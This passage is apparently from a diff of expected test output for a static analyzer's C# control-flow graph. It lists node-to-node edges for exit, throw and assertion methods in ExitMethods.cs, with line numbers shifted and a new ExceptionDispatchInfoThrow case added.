ApplicationExit | -| ExitMethods.cs:32:5:35:5 | {...} | ExitMethods.cs:31:10:31:11 | enter M5 | -| ExitMethods.cs:33:9:33:25 | call to method ApplicationExit | ExitMethods.cs:33:9:33:25 | this access | -| ExitMethods.cs:33:9:33:25 | this access | ExitMethods.cs:33:9:33:26 | ...; | -| ExitMethods.cs:33:9:33:26 | ...; | ExitMethods.cs:32:5:35:5 | {...} | -| ExitMethods.cs:37:10:37:11 | exit M6 | ExitMethods.cs:37:10:37:11 | exit M6 (normal) | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:45:13:45:19 | return ...; | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:49:13:49:19 | return ...; | -| ExitMethods.cs:38:5:51:5 | {...} | ExitMethods.cs:37:10:37:11 | enter M6 | -| ExitMethods.cs:39:9:50:9 | try {...} ... | ExitMethods.cs:38:5:51:5 | {...} | -| ExitMethods.cs:40:9:42:9 | {...} | ExitMethods.cs:39:9:50:9 | try {...} ... | -| ExitMethods.cs:41:13:41:30 | call to method ErrorAlways | ExitMethods.cs:41:25:41:29 | false | -| ExitMethods.cs:41:13:41:31 | ...; | ExitMethods.cs:40:9:42:9 | {...} | -| ExitMethods.cs:41:25:41:29 | false | ExitMethods.cs:41:13:41:31 | ...; | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | -| ExitMethods.cs:45:13:45:19 | return ...; | ExitMethods.cs:44:9:46:9 | {...} | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:49:13:49:19 | return ...; | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:53:10:53:11 | exit M7 | ExitMethods.cs:53:10:53:11 | exit M7 (abnormal) | -| ExitMethods.cs:53:10:53:11 | exit M7 (abnormal) | ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | -| ExitMethods.cs:54:5:57:5 | {...} | ExitMethods.cs:53:10:53:11 | enter M7 | -| ExitMethods.cs:55:9:55:22 | call to method ErrorAlways2 | ExitMethods.cs:55:9:55:23 | ...; | -| ExitMethods.cs:55:9:55:23 | ...; | ExitMethods.cs:54:5:57:5 | {...} | -| ExitMethods.cs:59:10:59:11 | exit M8 | ExitMethods.cs:59:10:59:11 | exit M8 (abnormal) | -| ExitMethods.cs:59:10:59:11 | exit M8 (abnormal) | ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | -| ExitMethods.cs:60:5:63:5 | {...} | ExitMethods.cs:59:10:59:11 | enter M8 | -| ExitMethods.cs:61:9:61:22 | call to method ErrorAlways3 | ExitMethods.cs:61:9:61:23 | ...; | -| ExitMethods.cs:61:9:61:23 | ...; | ExitMethods.cs:60:5:63:5 | {...} | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (abnormal) | ExitMethods.cs:68:13:68:34 | throw ...; | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:67:13:67:13 | access to parameter b | -| ExitMethods.cs:66:5:69:5 | {...} | ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | -| ExitMethods.cs:67:9:68:34 | if (...) ... | ExitMethods.cs:66:5:69:5 | {...} | -| ExitMethods.cs:67:13:67:13 | access to parameter b | ExitMethods.cs:67:9:68:34 | if (...) ... | -| ExitMethods.cs:68:13:68:34 | throw ...; | ExitMethods.cs:68:19:68:33 | object creation of type Exception | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways | ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | -| ExitMethods.cs:72:5:77:5 | {...} | ExitMethods.cs:71:17:71:27 | enter ErrorAlways | -| ExitMethods.cs:73:9:76:45 | if (...) ... | ExitMethods.cs:72:5:77:5 | {...} | -| ExitMethods.cs:73:13:73:13 | access to parameter b | ExitMethods.cs:73:9:76:45 | if (...) ... | -| ExitMethods.cs:74:13:74:34 | throw ...; | ExitMethods.cs:74:19:74:33 | object creation of type Exception | -| ExitMethods.cs:76:13:76:45 | throw ...; | ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | -| ExitMethods.cs:76:19:76:44 | object creation of type ArgumentException | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 | ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 (abnormal) | -| ExitMethods.cs:79:17:79:28 | exit ErrorAlways2 (abnormal) | ExitMethods.cs:81:9:81:30 | throw ...; | -| ExitMethods.cs:80:5:82:5 | {...} | ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | -| ExitMethods.cs:81:9:81:30 | throw ...; | ExitMethods.cs:81:15:81:29 | object creation of type Exception | -| ExitMethods.cs:81:15:81:29 | object creation of type Exception | ExitMethods.cs:80:5:82:5 | {...} | -| ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 | ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 (abnormal) | -| ExitMethods.cs:84:17:84:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:84:35:84:55 | throw ... | -| ExitMethods.cs:84:35:84:55 | throw ... | ExitMethods.cs:84:41:84:55 | object creation of type Exception | -| ExitMethods.cs:84:41:84:55 | object creation of type Exception | ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | -| ExitMethods.cs:86:10:86:13 | exit Exit | ExitMethods.cs:86:10:86:13 | exit Exit (abnormal) | -| ExitMethods.cs:86:10:86:13 | exit Exit (abnormal) | ExitMethods.cs:88:9:88:27 | call to method Exit | -| ExitMethods.cs:87:5:89:5 | {...} | ExitMethods.cs:86:10:86:13 | enter Exit | -| ExitMethods.cs:88:9:88:27 | call to method Exit | ExitMethods.cs:88:26:88:26 | 0 | -| ExitMethods.cs:88:9:88:28 | ...; | ExitMethods.cs:87:5:89:5 | {...} | -| ExitMethods.cs:88:26:88:26 | 0 | ExitMethods.cs:88:9:88:28 | ...; | -| ExitMethods.cs:91:10:91:18 | exit ExitInTry | ExitMethods.cs:91:10:91:18 | exit ExitInTry (abnormal) | -| ExitMethods.cs:91:10:91:18 | exit ExitInTry (abnormal) | ExitMethods.cs:95:13:95:18 | call to method Exit | -| ExitMethods.cs:92:5:102:5 | {...} | ExitMethods.cs:91:10:91:18 | enter ExitInTry | -| ExitMethods.cs:93:9:101:9 | try {...} ... | ExitMethods.cs:92:5:102:5 | {...} | -| ExitMethods.cs:94:9:96:9 | {...} | ExitMethods.cs:93:9:101:9 | try {...} ... | -| ExitMethods.cs:95:13:95:18 | call to method Exit | ExitMethods.cs:95:13:95:18 | this access | -| ExitMethods.cs:95:13:95:18 | this access | ExitMethods.cs:95:13:95:19 | ...; | -| ExitMethods.cs:95:13:95:19 | ...; | ExitMethods.cs:94:9:96:9 | {...} | -| ExitMethods.cs:104:10:104:24 | exit ApplicationExit | ExitMethods.cs:104:10:104:24 | exit ApplicationExit (abnormal) | -| ExitMethods.cs:104:10:104:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:106:9:106:47 | call to method Exit | -| ExitMethods.cs:105:5:107:5 | {...} | ExitMethods.cs:104:10:104:24 | enter ApplicationExit | -| ExitMethods.cs:106:9:106:47 | call to method Exit | ExitMethods.cs:106:9:106:48 | ...; | -| ExitMethods.cs:106:9:106:48 | ...; | ExitMethods.cs:105:5:107:5 | {...} | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr (abnormal) | ExitMethods.cs:111:41:111:76 | throw ... | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr (normal) | ExitMethods.cs:111:9:111:77 | return ...; | -| ExitMethods.cs:110:5:112:5 | {...} | ExitMethods.cs:109:13:109:21 | enter ThrowExpr | -| ExitMethods.cs:111:9:111:77 | return ...; | ExitMethods.cs:111:16:111:76 | ... ? ... : ... | -| ExitMethods.cs:111:16:111:20 | access to parameter input | ExitMethods.cs:110:5:112:5 | {...} | -| ExitMethods.cs:111:16:111:25 | ... != ... | ExitMethods.cs:111:25:111:25 | (...) ... | -| ExitMethods.cs:111:16:111:76 | ... ? ... : ... | ExitMethods.cs:111:29:111:37 | ... / ... | -| ExitMethods.cs:111:25:111:25 | 0 | ExitMethods.cs:111:16:111:20 | access to parameter input | -| ExitMethods.cs:111:25:111:25 | (...) ... | ExitMethods.cs:111:25:111:25 | 0 | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:111:16:111:25 | ... != ... | -| ExitMethods.cs:111:29:111:29 | (...) ... | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:111:29:111:37 | ... / ... | ExitMethods.cs:111:33:111:37 | access to parameter input | -| ExitMethods.cs:111:33:111:37 | access to parameter input | ExitMethods.cs:111:29:111:29 | (...) ... | -| ExitMethods.cs:111:41:111:76 | throw ... | ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | -| ExitMethods.cs:111:47:111:76 | object creation of type ArgumentException | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall | ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall (normal) | -| ExitMethods.cs:114:16:114:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:116:9:116:39 | return ...; | -| ExitMethods.cs:115:5:117:5 | {...} | ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | -| ExitMethods.cs:116:9:116:39 | return ...; | ExitMethods.cs:116:16:116:38 | ... ? ... : ... | -| ExitMethods.cs:116:16:116:16 | access to parameter s | ExitMethods.cs:115:5:117:5 | {...} | -| ExitMethods.cs:116:16:116:30 | call to method Contains | ExitMethods.cs:116:27:116:29 | - | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:34:116:34 | 0 | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:38:116:38 | 1 | -| ExitMethods.cs:116:27:116:29 | - | ExitMethods.cs:116:16:116:16 | access to parameter s | -| ExitMethods.cs:119:17:119:32 | exit FailingAssertion | ExitMethods.cs:119:17:119:32 | exit FailingAssertion (abnormal) | -| ExitMethods.cs:119:17:119:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | -| ExitMethods.cs:120:5:123:5 | {...} | ExitMethods.cs:119:17:119:32 | enter FailingAssertion | -| ExitMethods.cs:121:9:121:29 | ...; | ExitMethods.cs:120:5:123:5 | {...} | -| ExitMethods.cs:121:23:121:27 | false | ExitMethods.cs:121:9:121:29 | ...; | -| ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 | ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 (abnormal) | -| ExitMethods.cs:125:17:125:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | -| ExitMethods.cs:126:5:129:5 | {...} | ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | -| ExitMethods.cs:127:9:127:26 | call to method FailingAssertion | ExitMethods.cs:127:9:127:26 | this access | -| ExitMethods.cs:127:9:127:26 | this access | ExitMethods.cs:127:9:127:27 | ...; | -| ExitMethods.cs:127:9:127:27 | ...; | ExitMethods.cs:126:5:129:5 | {...} | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse (abnormal) | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse (normal) | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:48:131:48 | access to parameter b | -| ExitMethods.cs:131:48:131:48 | access to parameter b | ExitMethods.cs:131:10:131:20 | enter AssertFalse | -| ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 | ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 (abnormal) | -| ExitMethods.cs:133:17:133:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | -| ExitMethods.cs:134:5:137:5 | {...} | ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | -| ExitMethods.cs:135:9:135:25 | this access | ExitMethods.cs:135:9:135:26 | ...; | -| ExitMethods.cs:135:9:135:26 | ...; | ExitMethods.cs:134:5:137:5 | {...} | -| ExitMethods.cs:135:21:135:24 | true | ExitMethods.cs:135:9:135:25 | this access | +| ExitMethods.cs:8:10:8:11 | exit M1 | ExitMethods.cs:8:10:8:11 | exit M1 (normal) | +| ExitMethods.cs:8:10:8:11 | exit M1 (normal) | ExitMethods.cs:11:9:11:15 | return ...; | +| ExitMethods.cs:9:5:12:5 | {...} | ExitMethods.cs:8:10:8:11 | enter M1 | +| ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | ExitMethods.cs:10:20:10:23 | true | +| ExitMethods.cs:10:9:10:25 | ...; | ExitMethods.cs:9:5:12:5 | {...} | +| ExitMethods.cs:10:20:10:23 | true | ExitMethods.cs:10:9:10:25 | ...; | +| ExitMethods.cs:11:9:11:15 | return ...; | ExitMethods.cs:10:9:10:24 | call to method ErrorMaybe | +| ExitMethods.cs:14:10:14:11 | exit M2 | ExitMethods.cs:14:10:14:11 | exit M2 (normal) | +| ExitMethods.cs:14:10:14:11 | exit M2 (normal) | ExitMethods.cs:17:9:17:15 | return ...; | +| ExitMethods.cs:15:5:18:5 | {...} | ExitMethods.cs:14:10:14:11 | enter M2 | +| ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | ExitMethods.cs:16:20:16:24 | false | +| ExitMethods.cs:16:9:16:26 | ...; | ExitMethods.cs:15:5:18:5 | {...} | +| ExitMethods.cs:16:20:16:24 | false | ExitMethods.cs:16:9:16:26 | ...; | +| ExitMethods.cs:17:9:17:15 | return ...; | ExitMethods.cs:16:9:16:25 | call to method ErrorMaybe | +| ExitMethods.cs:20:10:20:11 | exit M3 | ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | +| ExitMethods.cs:20:10:20:11 | exit M3 (abnormal) | ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | +| ExitMethods.cs:21:5:24:5 | {...} | ExitMethods.cs:20:10:20:11 | enter M3 | +| ExitMethods.cs:22:9:22:25 | call to method ErrorAlways | ExitMethods.cs:22:21:22:24 | true | +| ExitMethods.cs:22:9:22:26 | ...; | ExitMethods.cs:21:5:24:5 | {...} | +| ExitMethods.cs:22:21:22:24 | true | ExitMethods.cs:22:9:22:26 | ...; | +| ExitMethods.cs:26:10:26:11 | exit M4 | ExitMethods.cs:26:10:26:11 | exit M4 (abnormal) | +| ExitMethods.cs:26:10:26:11 | exit M4 (abnormal) | ExitMethods.cs:28:9:28:14 | call to method Exit | +| ExitMethods.cs:27:5:30:5 | {...} | ExitMethods.cs:26:10:26:11 | enter M4 | +| ExitMethods.cs:28:9:28:14 | call to method Exit | ExitMethods.cs:28:9:28:14 | this access | +| ExitMethods.cs:28:9:28:14 | this access | ExitMethods.cs:28:9:28:15 | ...; | +| ExitMethods.cs:28:9:28:15 | ...; | ExitMethods.cs:27:5:30:5 | {...} | +| ExitMethods.cs:32:10:32:11 | exit M5 | ExitMethods.cs:32:10:32:11 | exit M5 (abnormal) | +| ExitMethods.cs:32:10:32:11 | exit M5 (abnormal) | ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | +| ExitMethods.cs:33:5:36:5 | {...} | ExitMethods.cs:32:10:32:11 | enter M5 | +| ExitMethods.cs:34:9:34:25 | call to method ApplicationExit | ExitMethods.cs:34:9:34:25 | this access | +| ExitMethods.cs:34:9:34:25 | this access | ExitMethods.cs:34:9:34:26 | ...; | +| ExitMethods.cs:34:9:34:26 | ...; | ExitMethods.cs:33:5:36:5 | {...} | +| ExitMethods.cs:38:10:38:11 | exit M6 | ExitMethods.cs:38:10:38:11 | exit M6 (normal) | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:46:13:46:19 | return ...; | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:50:13:50:19 | return ...; | +| ExitMethods.cs:39:5:52:5 | {...} | ExitMethods.cs:38:10:38:11 | enter M6 | +| ExitMethods.cs:40:9:51:9 | try {...} ... | ExitMethods.cs:39:5:52:5 | {...} | +| ExitMethods.cs:41:9:43:9 | {...} | ExitMethods.cs:40:9:51:9 | try {...} ... | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:42:25:42:29 | false | +| ExitMethods.cs:42:13:42:31 | ...; | ExitMethods.cs:41:9:43:9 | {...} | +| ExitMethods.cs:42:25:42:29 | false | ExitMethods.cs:42:13:42:31 | ...; | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | +| ExitMethods.cs:46:13:46:19 | return ...; | ExitMethods.cs:45:9:47:9 | {...} | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:50:13:50:19 | return ...; | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:54:10:54:11 | exit M7 | ExitMethods.cs:54:10:54:11 | exit M7 (abnormal) | +| ExitMethods.cs:54:10:54:11 | exit M7 (abnormal) | ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | +| ExitMethods.cs:55:5:58:5 | {...} | ExitMethods.cs:54:10:54:11 | enter M7 | +| ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | ExitMethods.cs:56:9:56:23 | ...; | +| ExitMethods.cs:56:9:56:23 | ...; | ExitMethods.cs:55:5:58:5 | {...} | +| ExitMethods.cs:60:10:60:11 | exit M8 | ExitMethods.cs:60:10:60:11 | exit M8 (abnormal) | +| ExitMethods.cs:60:10:60:11 | exit M8 (abnormal) | ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | +| ExitMethods.cs:61:5:64:5 | {...} | ExitMethods.cs:60:10:60:11 | enter M8 | +| ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | ExitMethods.cs:62:9:62:23 | ...; | +| ExitMethods.cs:62:9:62:23 | ...; | ExitMethods.cs:61:5:64:5 | {...} | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (abnormal) | ExitMethods.cs:69:13:69:34 | throw ...; | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:68:13:68:13 | access to parameter b | +| ExitMethods.cs:67:5:70:5 | {...} | ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | +| ExitMethods.cs:68:9:69:34 | if (...) ... | ExitMethods.cs:67:5:70:5 | {...} | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:68:9:69:34 | if (...) ... | +| ExitMethods.cs:69:13:69:34 | throw ...; | ExitMethods.cs:69:19:69:33 | object creation of type Exception | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways | ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | +| ExitMethods.cs:73:5:78:5 | {...} | ExitMethods.cs:72:17:72:27 | enter ErrorAlways | +| ExitMethods.cs:74:9:77:45 | if (...) ... | ExitMethods.cs:73:5:78:5 | {...} | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:74:9:77:45 | if (...) ... | +| ExitMethods.cs:75:13:75:34 | throw ...; | ExitMethods.cs:75:19:75:33 | object creation of type Exception | +| ExitMethods.cs:77:13:77:45 | throw ...; | ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | +| ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 | ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 (abnormal) | +| ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 (abnormal) | ExitMethods.cs:82:9:82:30 | throw ...; | +| ExitMethods.cs:81:5:83:5 | {...} | ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | +| ExitMethods.cs:82:9:82:30 | throw ...; | ExitMethods.cs:82:15:82:29 | object creation of type Exception | +| ExitMethods.cs:82:15:82:29 | object creation of type Exception | ExitMethods.cs:81:5:83:5 | {...} | +| ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 | ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 (abnormal) | +| ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:85:35:85:55 | throw ... | +| ExitMethods.cs:85:35:85:55 | throw ... | ExitMethods.cs:85:41:85:55 | object creation of type Exception | +| ExitMethods.cs:85:41:85:55 | object creation of type Exception | ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | +| ExitMethods.cs:87:10:87:13 | exit Exit | ExitMethods.cs:87:10:87:13 | exit Exit (abnormal) | +| ExitMethods.cs:87:10:87:13 | exit Exit (abnormal) | ExitMethods.cs:89:9:89:27 | call to method Exit | +| ExitMethods.cs:88:5:90:5 | {...} | ExitMethods.cs:87:10:87:13 | enter Exit | +| ExitMethods.cs:89:9:89:27 | call to method Exit | ExitMethods.cs:89:26:89:26 | 0 | +| ExitMethods.cs:89:9:89:28 | ...; | ExitMethods.cs:88:5:90:5 | {...} | +| ExitMethods.cs:89:26:89:26 | 0 | ExitMethods.cs:89:9:89:28 | ...; | +| ExitMethods.cs:92:10:92:18 | exit ExitInTry | ExitMethods.cs:92:10:92:18 | exit ExitInTry (abnormal) | +| ExitMethods.cs:92:10:92:18 | exit ExitInTry (abnormal) | ExitMethods.cs:96:13:96:18 | call to method Exit | +| ExitMethods.cs:93:5:103:5 | {...} | ExitMethods.cs:92:10:92:18 | enter ExitInTry | +| ExitMethods.cs:94:9:102:9 | try {...} ... | ExitMethods.cs:93:5:103:5 | {...} | +| ExitMethods.cs:95:9:97:9 | {...} | ExitMethods.cs:94:9:102:9 | try {...} ... | +| ExitMethods.cs:96:13:96:18 | call to method Exit | ExitMethods.cs:96:13:96:18 | this access | +| ExitMethods.cs:96:13:96:18 | this access | ExitMethods.cs:96:13:96:19 | ...; | +| ExitMethods.cs:96:13:96:19 | ...; | ExitMethods.cs:95:9:97:9 | {...} | +| ExitMethods.cs:105:10:105:24 | exit ApplicationExit | ExitMethods.cs:105:10:105:24 | exit ApplicationExit (abnormal) | +| ExitMethods.cs:105:10:105:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:107:9:107:47 | call to method Exit | +| ExitMethods.cs:106:5:108:5 | {...} | ExitMethods.cs:105:10:105:24 | enter ApplicationExit | +| ExitMethods.cs:107:9:107:47 | call to method Exit | ExitMethods.cs:107:9:107:48 | ...; | +| ExitMethods.cs:107:9:107:48 | ...; | ExitMethods.cs:106:5:108:5 | {...} | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr (abnormal) | ExitMethods.cs:112:41:112:76 | throw ... | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr (normal) | ExitMethods.cs:112:9:112:77 | return ...; | +| ExitMethods.cs:111:5:113:5 | {...} | ExitMethods.cs:110:13:110:21 | enter ThrowExpr | +| ExitMethods.cs:112:9:112:77 | return ...; | ExitMethods.cs:112:16:112:76 | ... ? ... : ... | +| ExitMethods.cs:112:16:112:20 | access to parameter input | ExitMethods.cs:111:5:113:5 | {...} | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:25:112:25 | (...) ... | +| ExitMethods.cs:112:16:112:76 | ... ? ... : ... | ExitMethods.cs:112:29:112:37 | ... / ... | +| ExitMethods.cs:112:25:112:25 | 0 | ExitMethods.cs:112:16:112:20 | access to parameter input | +| ExitMethods.cs:112:25:112:25 | (...) ... | ExitMethods.cs:112:25:112:25 | 0 | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:112:16:112:25 | ... != ... | +| ExitMethods.cs:112:29:112:29 | (...) ... | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:112:29:112:37 | ... / ... | ExitMethods.cs:112:33:112:37 | access to parameter input | +| ExitMethods.cs:112:33:112:37 | access to parameter input | ExitMethods.cs:112:29:112:29 | (...) ... | +| ExitMethods.cs:112:41:112:76 | throw ... | ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | +| ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall | ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall (normal) | +| ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:117:9:117:39 | return ...; | +| ExitMethods.cs:116:5:118:5 | {...} | ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | +| ExitMethods.cs:117:9:117:39 | return ...; | ExitMethods.cs:117:16:117:38 | ... ? ... : ... | +| ExitMethods.cs:117:16:117:16 | access to parameter s | ExitMethods.cs:116:5:118:5 | {...} | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:27:117:29 | - | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:34:117:34 | 0 | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:38:117:38 | 1 | +| ExitMethods.cs:117:27:117:29 | - | ExitMethods.cs:117:16:117:16 | access to parameter s | +| ExitMethods.cs:120:17:120:32 | exit FailingAssertion | ExitMethods.cs:120:17:120:32 | exit FailingAssertion (abnormal) | +| ExitMethods.cs:120:17:120:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | +| ExitMethods.cs:121:5:124:5 | {...} | ExitMethods.cs:120:17:120:32 | enter FailingAssertion | +| ExitMethods.cs:122:9:122:29 | ...; | ExitMethods.cs:121:5:124:5 | {...} | +| ExitMethods.cs:122:23:122:27 | false | ExitMethods.cs:122:9:122:29 | ...; | +| ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 | ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 (abnormal) | +| ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | +| ExitMethods.cs:127:5:130:5 | {...} | ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | +| ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | ExitMethods.cs:128:9:128:26 | this access | +| ExitMethods.cs:128:9:128:26 | this access | ExitMethods.cs:128:9:128:27 | ...; | +| ExitMethods.cs:128:9:128:27 | ...; | ExitMethods.cs:127:5:130:5 | {...} | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse (abnormal) | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse (normal) | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:48:132:48 | access to parameter b | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:10:132:20 | enter AssertFalse | +| ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 | ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 (abnormal) | +| ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:135:5:138:5 | {...} | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | +| ExitMethods.cs:136:9:136:25 | this access | ExitMethods.cs:136:9:136:26 | ...; | +| ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:135:5:138:5 | {...} | +| ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:9:136:25 | this access | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:146:9:146:33 | call to method WriteLine | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:141:5:147:5 | {...} | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:142:9:145:53 | if (...) ... | +| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:143:41:143:41 | access to parameter e | +| ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:143:13:143:43 | ...; | +| ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:43:145:43 | access to parameter e | +| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:145:13:145:44 | call to method Capture | +| ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:13:145:53 | ...; | +| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:146:27:146:32 | "dead" | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:143:13:143:42 | call to method Throw | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:145:13:145:52 | call to method Throw | +| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:9:146:34 | ...; | | Extensions.cs:5:23:5:29 | exit ToInt32 | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:7:9:7:30 | return ...; | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:5:23:5:29 | enter ToInt32 